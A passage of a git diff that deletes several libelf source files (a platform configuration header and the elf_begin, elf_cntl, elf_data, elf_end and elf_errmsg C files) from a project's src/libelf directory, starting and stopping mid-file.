-int	_libelf_ar_get_number(const char *_buf, size_t _sz, int _base,
-    size_t *_ret);
-
-#endif	/* __LIBELF_AR_H_ */
diff --git a/src/libelf/_libelf_config.h b/src/libelf/_libelf_config.h
deleted file mode 100644
index 004aed6..0000000
--- a/src/libelf/_libelf_config.h
+++ /dev/null
@@ -1,193 +0,0 @@
-/*-
- * Copyright (c) 2008-2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * $Id: _libelf_config.h 2287 2011-12-04 06:45:47Z jkoshy $
- */
-
-#ifdef	GEKKO
-
-#define	LIBELF_ARCH		EM_PPC
-#define	LIBELF_BYTEORDER	ELFDATA2MSB
-#define	LIBELF_CLASS		ELFCLASS32
-
-#endif	/* GEKKO */
-
-#ifdef	__wiiu__
-
-#define	LIBELF_ARCH		EM_PPC
-#define	LIBELF_BYTEORDER	ELFDATA2MSB
-#define	LIBELF_CLASS		ELFCLASS32
-
-#endif	/* __wiiu__ */
-
-#ifdef	__DragonFly__
-
-#if	defined(__amd64__)
-#define	LIBELF_ARCH		EM_X86_64
-#define	LIBELF_BYTEORDER	ELFDATA2LSB
-#define	LIBELF_CLASS		ELFCLASS64
-#elif	defined(__i386__)
-#define	LIBELF_ARCH		EM_386
-#define	LIBELF_BYTEORDER	ELFDATA2LSB
-#define	LIBELF_CLASS		ELFCLASS32
-#endif
-
-#endif	/* __DragonFly__ */
-
-#ifdef __FreeBSD__
-
-/*
- * Define LIBELF_{ARCH,BYTEORDER,CLASS} based on the machine architecture.
- * See also: <machine/elf.h>.
- */
-
-#if	defined(__amd64__)
-
-#define	LIBELF_ARCH		EM_X86_64
-#define	LIBELF_BYTEORDER	ELFDATA2LSB
-#define	LIBELF_CLASS		ELFCLASS64
-
-#elif	defined(__arm__)
-
-#define	LIBELF_ARCH		EM_ARM
-#if	defined(__ARMEB__)	/* Big-endian ARM. */
-#define	LIBELF_BYTEORDER	ELFDATA2MSB
-#else
-#define	LIBELF_BYTEORDER	ELFDATA2LSB
-#endif
-#define	LIBELF_CLASS		ELFCLASS32
-
-#elif	defined(__i386__)
-
-#define	LIBELF_ARCH		EM_386
-#define	LIBELF_BYTEORDER	ELFDATA2LSB
-#define	LIBELF_CLASS		ELFCLASS32
-
-#elif	defined(__ia64__)
-
-#define	LIBELF_ARCH		EM_IA_64
-#define	LIBELF_BYTEORDER	ELFDATA2LSB
-#define	LIBELF_CLASS		ELFCLASS64
-
-#elif	defined(__mips__)
-
-#define	LIBELF_ARCH		EM_MIPS
-#if	defined(__MIPSEB__)
-#define	LIBELF_BYTEORDER	ELFDATA2MSB
-#else
-#define	LIBELF_BYTEORDER	ELFDATA2LSB
-#endif
-#define	LIBELF_CLASS		ELFCLASS32
-
-#elif	defined(__powerpc__)
-
-#define	LIBELF_ARCH		EM_PPC
-#define	LIBELF_BYTEORDER	ELFDATA2MSB
-#define	LIBELF_CLASS		ELFCLASS32
-
-#elif	defined(__sparc__)
-
-#define	LIBELF_ARCH		EM_SPARCV9
-#define	LIBELF_BYTEORDER	ELFDATA2MSB
-#define	LIBELF_CLASS		ELFCLASS64
-
-#else
-#error	Unknown FreeBSD architecture.
-#endif
-#endif  /* __FreeBSD__ */
-
-/*
- * Definitions for Minix3.
- */
-#ifdef __minix
-
-#define	LIBELF_ARCH		EM_386
-#define	LIBELF_BYTEORDER	ELFDATA2LSB
-#define	LIBELF_CLASS		ELFCLASS32
-
-#endif	/* __minix */
-
-#ifdef __NetBSD__
-
-#include <machine/elf_machdep.h>
-
-#if	!defined(ARCH_ELFSIZE)
-#error	ARCH_ELFSIZE is not defined.
-#endif
-
-#if	ARCH_ELFSIZE == 32
-#define	LIBELF_ARCH		ELF32_MACHDEP_ID
-#define	LIBELF_BYTEORDER	ELF32_MACHDEP_ENDIANNESS
-#define	LIBELF_CLASS		ELFCLASS32
-#define	Elf_Note		Elf32_Nhdr
-#else
-#define	LIBELF_ARCH		ELF64_MACHDEP_ID
-#define	LIBELF_BYTEORDER	ELF64_MACHDEP_ENDIANNESS
-#define	LIBELF_CLASS		ELFCLASS64
-#define	Elf_Note		Elf64_Nhdr
-#endif
-
-#endif	/* __NetBSD__ */
-
-#if defined(__OpenBSD__)
-
-#include <machine/exec.h>
-
-#define	LIBELF_ARCH		ELF_TARG_MACH
-#define	LIBELF_BYTEORDER	ELF_TARG_DATA
-#define	LIBELF_CLASS		ELF_TARG_CLASS
-
-#endif
-
-/*
- * GNU & Linux compatibility.
- *
- * `__linux__' is defined in an environment runs the Linux kernel and glibc.
- * `__GNU__' is defined in an environment runs a GNU kernel (Hurd) and glibc.
- * `__GLIBC__' is defined for an environment that runs glibc over a non-GNU
- *     kernel such as GNU/kFreeBSD.
- */
-
-#if defined(__linux__) || defined(__GNU__) || defined(__GLIBC__)
-
-#if defined(__linux__)
-
-#include "native-elf-format.h"
-
-#define	LIBELF_CLASS		ELFTC_CLASS
-#define	LIBELF_ARCH		ELFTC_ARCH
-#define	LIBELF_BYTEORDER	ELFTC_BYTEORDER
-
-#endif	/* defined(__linux__) */
-
-#if	LIBELF_CLASS == ELFCLASS32
-#define	Elf_Note		Elf32_Nhdr
-#elif   LIBELF_CLASS == ELFCLASS64
-#define	Elf_Note		Elf64_Nhdr
-#else
-#error  LIBELF_CLASS needs to be one of ELFCLASS32 or ELFCLASS64
-#endif
-
-#endif /* defined(__linux__) || defined(__GNU__) || defined(__GLIBC__) */
diff --git a/src/libelf/elf.c b/src/libelf/elf.c
deleted file mode 100644
index 8f1925e..0000000
--- a/src/libelf/elf.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/*-
- * Copyright (c) 2006,2008,2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-struct _libelf_globals _libelf = {
-	.libelf_arch		= LIBELF_ARCH,
-	.libelf_byteorder	= LIBELF_BYTEORDER,
-	.libelf_class		= LIBELF_CLASS,
-	.libelf_error		= 0,
-	.libelf_fillchar	= 0,
-	.libelf_version		= EV_NONE
-};
diff --git a/src/libelf/elf_begin.c b/src/libelf/elf_begin.c
deleted file mode 100644
index 9f4f237..0000000
--- a/src/libelf/elf_begin.c
+++ /dev/null
@@ -1,91 +0,0 @@
-/*-
- * Copyright (c) 2006,2008-2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_begin.c 2364 2011-12-28 17:55:25Z jkoshy $");
-
-Elf *
-elf_begin(int fd, Elf_Cmd c, Elf *a)
-{
-	Elf *e;
-
-	e = NULL;
-
-	if (LIBELF_PRIVATE(version) == EV_NONE) {
-		LIBELF_SET_ERROR(SEQUENCE, 0);
-		return (NULL);
-	}
-
-	switch (c) {
-	case ELF_C_NULL:
-		return (NULL);
-
-	case ELF_C_WRITE:
-		/*
-		 * The ELF_C_WRITE command is required to ignore the
-		 * descriptor passed in.
-		 */
-		a = NULL;
-		break;
-
-	case ELF_C_RDWR:
-		if (a != NULL) { /* not allowed for ar(1) archives. */
-			LIBELF_SET_ERROR(ARGUMENT, 0);
-			return (NULL);
-		}
-		/*FALLTHROUGH*/
-	case ELF_C_READ:
-		/*
-		 * Descriptor `a' could be for a regular ELF file, or
-		 * for an ar(1) archive.  If descriptor `a' was opened
-		 * using a valid file descriptor, we need to check if
-		 * the passed in `fd' value matches the original one.
-		 */
-		if (a &&
-		    ((a->e_fd != -1 && a->e_fd != fd) || c != a->e_cmd)) {
-			LIBELF_SET_ERROR(ARGUMENT, 0);
-			return (NULL);
-		}
-		break;
-
-	default:
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-
-	}
-
-	if (a == NULL)
-		e = _libelf_open_object(fd, c, 1);
-	else if (a->e_kind == ELF_K_AR)
-		e = _libelf_ar_open_member(a->e_fd, c, a);
-	else
-		(e = a)->e_activations++;
-
-	return (e);
-}
diff --git a/src/libelf/elf_cntl.c b/src/libelf/elf_cntl.c
deleted file mode 100644
index 0607885..0000000
--- a/src/libelf/elf_cntl.c
+++ /dev/null
@@ -1,58 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_cntl.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-int
-elf_cntl(Elf *e, Elf_Cmd c)
-{
-	if (e == NULL ||
-	    (c != ELF_C_FDDONE && c != ELF_C_FDREAD)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (-1);
-	}
-
-	if (e->e_parent) {
-		LIBELF_SET_ERROR(ARCHIVE, 0);
-		return (-1);
-	}
-
-	if (c == ELF_C_FDREAD) {
-		if (e->e_cmd == ELF_C_WRITE) {
-			LIBELF_SET_ERROR(MODE, 0);
-			return (-1);
-		}
-		else
-			return (0);
-	}
-
-	e->e_fd = -1;
-	return 0;
-}
diff --git a/src/libelf/elf_data.c b/src/libelf/elf_data.c
deleted file mode 100644
index 45c5d2c..0000000
--- a/src/libelf/elf_data.c
+++ /dev/null
@@ -1,254 +0,0 @@
-/*-
- * Copyright (c) 2006,2008,2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <assert.h>
-#include <errno.h>
-#include <libelf.h>
-#include <stdlib.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_data.c 2272 2011-12-03 17:07:31Z jkoshy $");
-
-Elf_Data *
-elf_getdata(Elf_Scn *s, Elf_Data *ed)
-{
-	Elf *e;
-	unsigned int sh_type;
-	int elfclass, elftype;
-	size_t fsz, msz, count;
-	struct _Libelf_Data *d;
-	uint64_t sh_align, sh_offset, sh_size;
-	int (*xlate)(char *_d, size_t _dsz, char *_s, size_t _c, int _swap);
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (s == NULL || (e = s->s_elf) == NULL ||
-	    (d != NULL && s != d->d_scn)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	assert(e->e_kind == ELF_K_ELF);
-
-	if (d == NULL && (d = STAILQ_FIRST(&s->s_data)) != NULL)
-		return (&d->d_data);
-
-	if (d != NULL)
-		return (&STAILQ_NEXT(d, d_next)->d_data);
-
-	if (e->e_rawfile == NULL) {
-		/*
-		 * In the ELF_C_WRITE case, there is no source that
-		 * can provide data for the section.
-		 */
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	elfclass = e->e_class;
-
-	assert(elfclass == ELFCLASS32 || elfclass == ELFCLASS64);
-
-	if (elfclass == ELFCLASS32) {
-		sh_type   = s->s_shdr.s_shdr32.sh_type;
-		sh_offset = (uint64_t) s->s_shdr.s_shdr32.sh_offset;
-		sh_size   = (uint64_t) s->s_shdr.s_shdr32.sh_size;
-		sh_align  = (uint64_t) s->s_shdr.s_shdr32.sh_addralign;
-	} else {
-		sh_type   = s->s_shdr.s_shdr64.sh_type;
-		sh_offset = s->s_shdr.s_shdr64.sh_offset;
-		sh_size   = s->s_shdr.s_shdr64.sh_size;
-		sh_align  = s->s_shdr.s_shdr64.sh_addralign;
-	}
-
-	if (sh_type == SHT_NULL) {
-		LIBELF_SET_ERROR(SECTION, 0);
-		return (NULL);
-	}
-
-	if ((elftype = _libelf_xlate_shtype(sh_type)) < ELF_T_FIRST ||
-	    elftype > ELF_T_LAST || (sh_type != SHT_NOBITS &&
-	    sh_offset + sh_size > (uint64_t) e->e_rawsize)) {
-		LIBELF_SET_ERROR(SECTION, 0);
-		return (NULL);
-	}
-
-	if ((fsz = (elfclass == ELFCLASS32 ? elf32_fsize : elf64_fsize)
-            (elftype, (size_t) 1, e->e_version)) == 0) {
-		LIBELF_SET_ERROR(UNIMPL, 0);
-		return (NULL);
-	}
-
-	if (sh_size % fsz) {
-		LIBELF_SET_ERROR(SECTION, 0);
-		return (NULL);
-	}
-
-	count = sh_size / fsz;
-
-	msz = _libelf_msize(elftype, elfclass, e->e_version);
-
-	assert(msz > 0);
-
-	if ((d = _libelf_allocate_data(s)) == NULL)
-		return (NULL);
-
-	d->d_data.d_buf     = NULL;
-	d->d_data.d_off     = 0;
-	d->d_data.d_align   = sh_align;
-	d->d_data.d_size    = msz * count;
-	d->d_data.d_type    = elftype;
-	d->d_data.d_version = e->e_version;
-
-	if (sh_type == SHT_NOBITS || sh_size == 0) {
-	        STAILQ_INSERT_TAIL(&s->s_data, d, d_next);
-		return (&d->d_data);
-        }
-
-	if ((d->d_data.d_buf = malloc(msz*count)) == NULL) {
-		(void) _libelf_release_data(d);
-		LIBELF_SET_ERROR(RESOURCE, 0);
-		return (NULL);
-	}
-
-	d->d_flags  |= LIBELF_F_DATA_MALLOCED;
-
-	xlate = _libelf_get_translator(elftype, ELF_TOMEMORY, elfclass);
-	if (!(*xlate)(d->d_data.d_buf, d->d_data.d_size,
-	    e->e_rawfile + sh_offset, count,
-	    e->e_byteorder != LIBELF_PRIVATE(byteorder))) {
-		_libelf_release_data(d);
-		LIBELF_SET_ERROR(DATA, 0);
-		return (NULL);
-	}
-
-	STAILQ_INSERT_TAIL(&s->s_data, d, d_next);
-
-	return (&d->d_data);
-}
-
-Elf_Data *
-elf_newdata(Elf_Scn *s)
-{
-	Elf *e;
-	struct _Libelf_Data *d;
-
-	if (s == NULL || (e = s->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	assert(e->e_kind == ELF_K_ELF);
-
-	/*
-	 * elf_newdata() has to append a data descriptor, so
-	 * bring in existing section data if not already present.
-	 */
-	if (e->e_rawfile && s->s_size > 0 && STAILQ_EMPTY(&s->s_data))
-		if (elf_getdata(s, NULL) == NULL)
-			return (NULL);
-
-	if ((d = _libelf_allocate_data(s)) == NULL)
-		return (NULL);
-
-	STAILQ_INSERT_TAIL(&s->s_data, d, d_next);
-
-	d->d_data.d_align = 1;
-	d->d_data.d_buf = NULL;
-	d->d_data.d_off = (uint64_t) ~0;
-	d->d_data.d_size = 0;
-	d->d_data.d_type = ELF_T_BYTE;
-	d->d_data.d_version = LIBELF_PRIVATE(version);
-
-	(void) elf_flagscn(s, ELF_C_SET, ELF_F_DIRTY);
-
-	return (&d->d_data);
-}
-
-/*
- * Retrieve a data descriptor for raw (untranslated) data for section
- * `s'.
- */
-
-Elf_Data *
-elf_rawdata(Elf_Scn *s, Elf_Data *ed)
-{
-	Elf *e;
-	int elf_class;
-	uint32_t sh_type;
-	struct _Libelf_Data *d;
-	uint64_t sh_align, sh_offset, sh_size;
-
-	if (s == NULL || (e = s->s_elf) == NULL || e->e_rawfile == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	assert(e->e_kind == ELF_K_ELF);
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL && (d = STAILQ_FIRST(&s->s_rawdata)) != NULL)
-		return (&d->d_data);
-
-	if (d != NULL)
-		return (&STAILQ_NEXT(d, d_next)->d_data);
-
-	elf_class = e->e_class;
-
-	assert(elf_class == ELFCLASS32 || elf_class == ELFCLASS64);
-
-	if (elf_class == ELFCLASS32) {
-		sh_type   = s->s_shdr.s_shdr32.sh_type;
-		sh_offset = (uint64_t) s->s_shdr.s_shdr32.sh_offset;
-		sh_size   = (uint64_t) s->s_shdr.s_shdr32.sh_size;
-		sh_align  = (uint64_t) s->s_shdr.s_shdr32.sh_addralign;
-	} else {
-		sh_type   = s->s_shdr.s_shdr64.sh_type;
-		sh_offset = s->s_shdr.s_shdr64.sh_offset;
-		sh_size   = s->s_shdr.s_shdr64.sh_size;
-		sh_align  = s->s_shdr.s_shdr64.sh_addralign;
-	}
-
-	if (sh_type == SHT_NULL)
-		return (NULL);
-
-	if ((d = _libelf_allocate_data(s)) == NULL)
-		return (NULL);
-
-	d->d_data.d_buf = (sh_type == SHT_NOBITS || sh_size == 0) ? NULL :
-	    e->e_rawfile + sh_offset;
-	d->d_data.d_off     = 0;
-	d->d_data.d_align   = sh_align;
-	d->d_data.d_size    = sh_size;
-	d->d_data.d_type    = ELF_T_BYTE;
-	d->d_data.d_version = e->e_version;
-
-	STAILQ_INSERT_TAIL(&s->s_rawdata, d, d_next);
-
-	return (&d->d_data);
-}
diff --git a/src/libelf/elf_end.c b/src/libelf/elf_end.c
deleted file mode 100644
index 097664c..0000000
--- a/src/libelf/elf_end.c
+++ /dev/null
@@ -1,97 +0,0 @@
-/*-
- * Copyright (c) 2006,2008-2009,2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <libelf.h>
-#include <stdlib.h>
-
-#include "_libelf.h"
-
-#if	ELFTC_HAVE_MMAP
-#include <sys/mman.h>
-#endif
-
-ELFTC_VCSID("$Id: elf_end.c 2240 2011-11-28 06:36:48Z jkoshy $");
-
-int
-elf_end(Elf *e)
-{
-	Elf *sv;
-	Elf_Scn *scn, *tscn;
-
-	if (e == NULL || e->e_activations == 0)
-		return (0);
-
-	if (--e->e_activations > 0)
-		return (e->e_activations);
-
-	assert(e->e_activations == 0);
-
-	while (e && e->e_activations == 0) {
-		switch (e->e_kind) {
-		case ELF_K_AR:
-			/*
-			 * If we still have open child descriptors, we
-			 * need to defer reclaiming resources till all
-			 * the child descriptors for the archive are
-			 * closed.
-			 */
-			if (e->e_u.e_ar.e_nchildren > 0)
-				return (0);
-			break;
-		case ELF_K_ELF:
-			/*
-			 * Reclaim all section descriptors.
-			 */
-			STAILQ_FOREACH_SAFE(scn, &e->e_u.e_elf.e_scn, s_next,
-			    tscn)
- 				scn = _libelf_release_scn(scn);
-			break;
-		case ELF_K_NUM:
-			assert(0);
-		default:
-			break;
-		}
-
-		if (e->e_rawfile) {
-			if (e->e_flags & LIBELF_F_RAWFILE_MALLOC)
-				free(e->e_rawfile);
-#if	ELFTC_HAVE_MMAP
-			else if (e->e_flags & LIBELF_F_RAWFILE_MMAP)
-				(void) munmap(e->e_rawfile, e->e_rawsize);
-#endif
-		}
-
-		sv = e;
-		if ((e = e->e_parent) != NULL)
-			e->e_u.e_ar.e_nchildren--;
-		sv = _libelf_release_elf(sv);
-	}
-
-	return (0);
-}
diff --git a/src/libelf/elf_errmsg.c b/src/libelf/elf_errmsg.c
deleted file mode 100644
index adcaa74..0000000
--- a/src/libelf/elf_errmsg.c
+++ /dev/null
@@ -1,85 +0,0 @@
-/*-
- * Copyright (c) 2006,2008,2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-#include <stdio.h>
-#include <string.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_errmsg.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-/*
- * Retrieve a human readable translation for an error message.
- */
-
-const char *_libelf_errors[] = {
-#define	DEFINE_ERROR(N,S)	[ELF_E_##N] = S
-	DEFINE_ERROR(NONE,	"No Error"),
-	DEFINE_ERROR(ARCHIVE,	"Malformed ar(1) archive"),
-	DEFINE_ERROR(ARGUMENT,	"Invalid argument"),
-	DEFINE_ERROR(CLASS,	"ELF class mismatch"),
-	DEFINE_ERROR(DATA,	"Invalid data buffer descriptor"),
-	DEFINE_ERROR(HEADER,	"Missing or malformed ELF header"),
-	DEFINE_ERROR(IO,	"I/O error"),
-	DEFINE_ERROR(LAYOUT,	"Layout constraint violation"),
-	DEFINE_ERROR(MODE,	"Incorrect ELF descriptor mode"),
-	DEFINE_ERROR(RANGE,	"Value out of range of target"),
-	DEFINE_ERROR(RESOURCE,	"Resource exhaustion"),
-	DEFINE_ERROR(SECTION,	"Invalid section descriptor"),
-	DEFINE_ERROR(SEQUENCE,	"API calls out of sequence"),
-	DEFINE_ERROR(UNIMPL,	"Unimplemented feature"),
-	DEFINE_ERROR(VERSION,	"Unknown ELF API version"),
